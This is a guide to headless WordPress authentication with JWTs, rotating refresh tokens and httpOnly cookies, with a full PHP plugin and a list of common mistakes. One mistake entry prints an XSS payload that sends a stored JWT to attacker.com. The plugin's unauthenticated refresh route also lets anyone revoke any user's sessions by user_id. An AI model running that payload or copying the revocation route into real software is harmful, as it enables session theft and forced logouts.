In classic monolithic WordPress architectures, authentication relies on stateful session cookies (wordpress_logged_in_<hash>) and synchronous nonce verification (X-WP-Nonce) bound to the same domain. In distributed Headless architectures (where a Next.js 16 frontend, iOS/Android mobile app, or external microservices run on distinct domains), standard core cookies cannot be consumed directly due to modern browser SameSite policies and CORS restrictions.
Modern enterprise authentication infrastructure in WordPress 7.0+ diverges into two specialized protocols:
sub — user ID, iat, exp, jti — unique token ID). Verified in-memory by WordPress within the determine_current_user filter without hitting the database.wp_usermeta. Upon each token pair renewal, the old Refresh Token is immediately invalidated. Attempting to reuse an obsolete token triggers reuse detection, instantly terminating all user sessions.httpOnly Cookie Layer: Tokens are never stored in browser localStorage. A Next.js Route Handler exchanges credentials with WordPress and packs the JWT into a hardened httpOnly; Secure; SameSite=Lax cookie, completely neutralizing token exfiltration via XSS.WP_Application_Passwords): WordPress core native (since WP 5.6+) 24-character application passwords, hashed using bcrypt (wp_hash_password) and transmitted via Authorization: Basic base64(user:app_password) exclusively over TLS/HTTPS.Envision authentication in Headless WordPress as a dual-layer cryptographic fortress: the browser interacts with the Next.js server via JavaScript-inaccessible httpOnly cookies, while Next.js talks to the WordPress core over private channels using short-lived Authorization: Bearer <JWT> headers.
[Client Browser] ──(1. POST /api/auth/login)──► [Next.js 16 BFF Route Handler]
▲ │
│ (4. Set-Cookie: httpOnly; Secure; SameSite=Lax) │ (2. POST /wp-json/agentic-lab/v1/auth/token)
│ JavaScript CANNOT read token (XSS Protected!) ▼
│ [WordPress 7.0 Auth Engine]
│ ├── Verify wp_authenticate() (bcrypt)
│ ├── Generate Access JWT (TTL: 15m, HMAC-SHA256)
└────────────────────────────────────────────┴── Generate Refresh Token (JTI in Redis/usermeta)
[Subsequent Data Request from React Server Component]:
[Next.js Server Component] ──(Reads httpOnly Cookie)──► Injects Authorization: Bearer <JWT>
│
▼
[WP Filter: determine_current_user]
├── Constant-time HMAC validation (hash_equals)
├── Verify exp > time()
└── wp_set_current_user($payload->sub)Evaluating credentials via wp_authenticate() with brute-force protection and generating Access + Refresh token pairs.
Assembling JWT (Header.Payload.Signature) using HS256/EdDSA and persisting Refresh JTI hashes.
Next.js server intercepts token payloads and encapsulates them inside httpOnly + Secure browser cookies.
During API requests, determine_current_user verifies signatures via hash_equals() in 0.05ms without database queries.
Every 15 minutes, BFF rotates the Refresh token. Reusing an obsolete token revokes all active sessions.
cookies().set('wp_access_token', jwt, { httpOnly: true, secure: true }))._token_version) or revoked jti sets in Redis, allowing instant session termination across all devices upon password reset.hash_equals($expectedSignature, $providedSignature) to eliminate side-channel byte-by-byte key discovery.Compare the primary API authentication mechanisms within the WordPress ecosystem:
Below is a self-contained, production-grade module in PHP 8.4+ (requiring no bloated external packages), implementing RFC 7519 (HMAC-SHA256), timing attack defense (hash_equals), security token versioning for instant revocations, and seamless integration with determine_current_user and rest_authentication_errors.
<?php
/**
* Plugin Name: Fullstack Agentic Lab — Enterprise JWT & Refresh Rotation Gateway
* Description: Cryptographic RFC 7519 (HMAC-SHA256) authentication with Refresh token rotation for Headless WP.
* Version: 2.1.0
* Author: Artur Yusupov (Fullstack Agentic Lab)
*/
declare(strict_types=1);
namespace AgenticLab\Core\Auth;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Server;
if (!defined('ABSPATH')) {
exit;
}
final readonly class EnterpriseJwtGateway
{
private const ACCESS_TOKEN_TTL = 900; // 15 minutes
private const REFRESH_TOKEN_TTL = 604800; // 7 days
private const META_REFRESH_HASH = '_agentic_refresh_token_hash';
private const META_TOKEN_VERSION = '_agentic_token_version';
private static ?WP_Error $authError = null;
public static function init(): void
{
add_filter('determine_current_user', self::authenticateBearerRequest(...), 20);
add_filter('rest_authentication_errors', self::reportAuthenticationErrors(...));
add_action('rest_api_init', self::registerAuthRoutes(...));
// Automatically invalidate all active tokens when a user resets their password!
add_action('after_password_reset', static function (\WP_User $user): void {
self::revokeAllUserTokens((int) $user->ID);
});
}
public static function registerAuthRoutes(): void
{
register_rest_route('agentic-lab/v1', '/auth/token', [
'methods' => WP_REST_Server::CREATABLE,
'callback' => self::issueTokenPair(...),
'permission_callback' => '__return_true',
'args' => [
'username' => ['type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_user'],
'password' => ['type' => 'string', 'required' => true],
],
]);
register_rest_route('agentic-lab/v1', '/auth/refresh', [
'methods' => WP_REST_Server::CREATABLE,
'callback' => self::rotateTokenPair(...),
'permission_callback' => '__return_true',
'args' => [
'user_id' => ['type' => 'integer', 'required' => true, 'sanitize_callback' => 'absint'],
'refresh_token' => ['type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_text_field'],
],
]);
}
/**
* 1. Issuing a new Access JWT + single-use Refresh Token pair.
*/
public static function issueTokenPair(WP_REST_Request $request): WP_REST_Response|WP_Error
{
$user = wp_authenticate(
(string) $request->get_param('username'),
(string) $request->get_param('password')
);
if (is_wp_error($user)) {
return new WP_Error(
'agentic_invalid_credentials',
'Invalid user credentials.',
['status' => 401]
);
}
return rest_ensure_response(self::generateAndPersistPair((int) $user->ID));
}
/**
* 2. Refresh Token rotation with Token Reuse Detection.
*/
public static function rotateTokenPair(WP_REST_Request $request): WP_REST_Response|WP_Error
{
$userId = (int) $request->get_param('user_id');
$rawRefresh = (string) $request->get_param('refresh_token');
$storedHash = (string) get_user_meta($userId, self::META_REFRESH_HASH, true);
$incomingHash = hash('sha256', $rawRefresh);
if ($storedHash === '' || !hash_equals($storedHash, $incomingHash)) {
// Anomaly detected: probable token theft! Invalidate all user sessions immediately.
self::revokeAllUserTokens($userId);
return new WP_Error(
'agentic_refresh_reuse_detected',
'Token reuse detected. All active user sessions have been terminated.',
['status' => 401]
);
}
return rest_ensure_response(self::generateAndPersistPair($userId));
}
/**
* 3. Intercepting and cryptographically verifying Authorization: Bearer <JWT> headers.
*/
public static function authenticateBearerRequest(int|bool $currentUserId): int|bool
{
if (!empty($currentUserId)) {
return $currentUserId;
}
$authHeader = (string) ($_SERVER['HTTP_AUTHORIZATION'] ?? $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ?? '');
if (!str_starts_with($authHeader, 'Bearer ')) {
return $currentUserId;
}
$jwt = trim(substr($authHeader, 7));
$parts = explode('.', $jwt);
if (count($parts) !== 3) {
self::$authError = new WP_Error('jwt_malformed', 'Malformed JWT token format.', ['status' => 401]);
return false;
}
[$headerB64, $payloadB64, $signatureB64] = $parts;
$expectedSig = self::base64UrlEncode(
hash_hmac('sha256', $headerB64 . '.' . $payloadB64, self::getSecretKey(), true)
);
// Constant-time comparison guarding against timing attacks
if (!hash_equals($expectedSig, $signatureB64)) {
self::$authError = new WP_Error('jwt_bad_signature', 'Invalid JWT cryptographic signature.', ['status' => 401]);
return false;
}
$payload = json_decode(self::base64UrlDecode($payloadB64), true);
if (!is_array($payload) || (int) ($payload['exp'] ?? 0) < time()) {
self::$authError = new WP_Error('jwt_expired', 'Access token has expired.', ['status' => 401]);
return false;
}
$userId = (int) ($payload['sub'] ?? 0);
$tokenVer = (int) ($payload['ver'] ?? 1);
$currentVer = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
if ($tokenVer !== $currentVer) {
self::$authError = new WP_Error('jwt_revoked', 'Token has been revoked by security policy.', ['status' => 401]);
return false;
}
return $userId;
}
public static function reportAuthenticationErrors(mixed $result): mixed
{
if (!empty($result)) {
return $result;
}
return self::$authError ?? $result;
}
public static function revokeAllUserTokens(int $userId): void
{
$ver = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
update_user_meta($userId, self::META_TOKEN_VERSION, $ver + 1);
delete_user_meta($userId, self::META_REFRESH_HASH);
}
/**
* @return array<string, mixed>
*/
private static function generateAndPersistPair(int $userId): array
{
$now = time();
$ver = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
$header = self::base64UrlEncode((string) wp_json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
$payload = self::base64UrlEncode((string) wp_json_encode([
'iss' => home_url(),
'sub' => $userId,
'iat' => $now,
'exp' => $now + self::ACCESS_TOKEN_TTL,
'ver' => $ver,
'jti' => bin2hex(random_bytes(8)),
]));
$signature = self::base64UrlEncode(
hash_hmac('sha256', $header . '.' . $payload, self::getSecretKey(), true)
);
$rawRefreshToken = bin2hex(random_bytes(32));
update_user_meta($userId, self::META_REFRESH_HASH, hash('sha256', $rawRefreshToken));
return [
'access_token' => $header . '.' . $payload . '.' . $signature,
'refresh_token' => $rawRefreshToken,
'expires_in' => self::ACCESS_TOKEN_TTL,
'token_type' => 'Bearer',
'user_id' => $userId,
];
}
private static function getSecretKey(): string
{
if (defined('JWT_AUTH_SECRET_KEY') && is_string(JWT_AUTH_SECRET_KEY) && strlen(JWT_AUTH_SECRET_KEY) >= 32) {
return JWT_AUTH_SECRET_KEY;
}
return wp_salt('auth') . wp_salt('secure_auth');
}
private static function base64UrlEncode(string $data): string
{
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
private static function base64UrlDecode(string $data): string
{
return (string) base64_decode(strtr($data, '-_', '+/'));
}
}
EnterpriseJwtGateway::init();The Error: Client-side React code saving received tokens via localStorage.setItem('jwt', token) and attaching them to outgoing requests.
Why Developers Do It: The easiest way to persist authentication across browser tab reloads without configuring server cookie domains.
Production Consequence: Any XSS vulnerability (including third-party analytics, chat widgets, or compromised npm packages) allows an attacker to run a single line: fetch('https://attacker.com/?t=' + localStorage.getItem('jwt')), harvesting active sessions indiscriminately.
The Fix: Use Next.js Route Handlers / Server Actions as a BFF proxy: retain JWTs solely in httpOnly; Secure; SameSite=Lax cookies, which JavaScript cannot inspect or exfiltrate.
The Error: Setting Access JWT expiration (exp) to time() + MONTH_IN_SECONDS without implementing Refresh tokens or token version checks (ver).
Why Developers Do It: Avoiding the complexity of building a /auth/refresh background rotation cycle.
Production Consequence: If a user account is compromised and they change their password in wp-admin, the leaked JWT remains fully active for 30 days because its cryptographic signature and exp claim remain valid.
The Fix: Limit Access JWTs to 10–15 minutes, implement single-use rotating Refresh tokens, and increment _agentic_token_version on password updates.
The Error: Validating token signatures with standard string equality: if ($expectedSignature === $userSignature).
Why Developers Do It: Unawareness of how standard C string comparison operators function in PHP.
Production Consequence: The === operator aborts comparison on the very first mismatched byte. By measuring nanosecond response differences (Timing Side-Channel Attacks), an attacker can iteratively deduce a valid HMAC signature for any user_id.
The Fix: Always verify signatures with hash_equals($knownString, $userString), which guarantees constant-time execution regardless of character divergence.
The Error: Embedding database passwords, phone numbers, private API tokens, or personally identifiable information inside $payload.
Why Developers Do It: The misconception that JWTs are "encrypted" by the secret key.
Production Consequence: Standard JWTs (JWS) are NOT encrypted—their Header and Payload are simply Base64Url encoded! Any intermediary proxy or user can decode the payload using atob() and read everything in plain text.
The Fix: Restrict Payload claims to minimal technical identity tokens (sub, iat, exp, ver, jti), containing zero sensitive business data.
Next.js BFF sends credentials to WordPress. Core verifies bcrypt hash and issues an Access + Refresh token pair.
The SHA-256 hash of the Refresh token is persisted in user metadata.
Next.js sets httpOnly, Secure, SameSite=Lax cookies, masking tokens from client-side JavaScript.
Completely neutralizes session theft vectors via Cross-Site Scripting (XSS).
During REST API queries, the filter validates HMAC signatures using hash_equals() and verifies token versions.
Establishes user context early for all subsequent permission_callback guards.
Every 15 minutes, BFF swaps the Refresh token for a new pair, deleting the old hash in the database.
Maintains uninterrupted user sessions without requiring repeated password entries.
If an adversary attempts to reuse an expired Refresh token, the system increments token_version immediately.
All active Access and Refresh tokens for that user are revoked in milliseconds.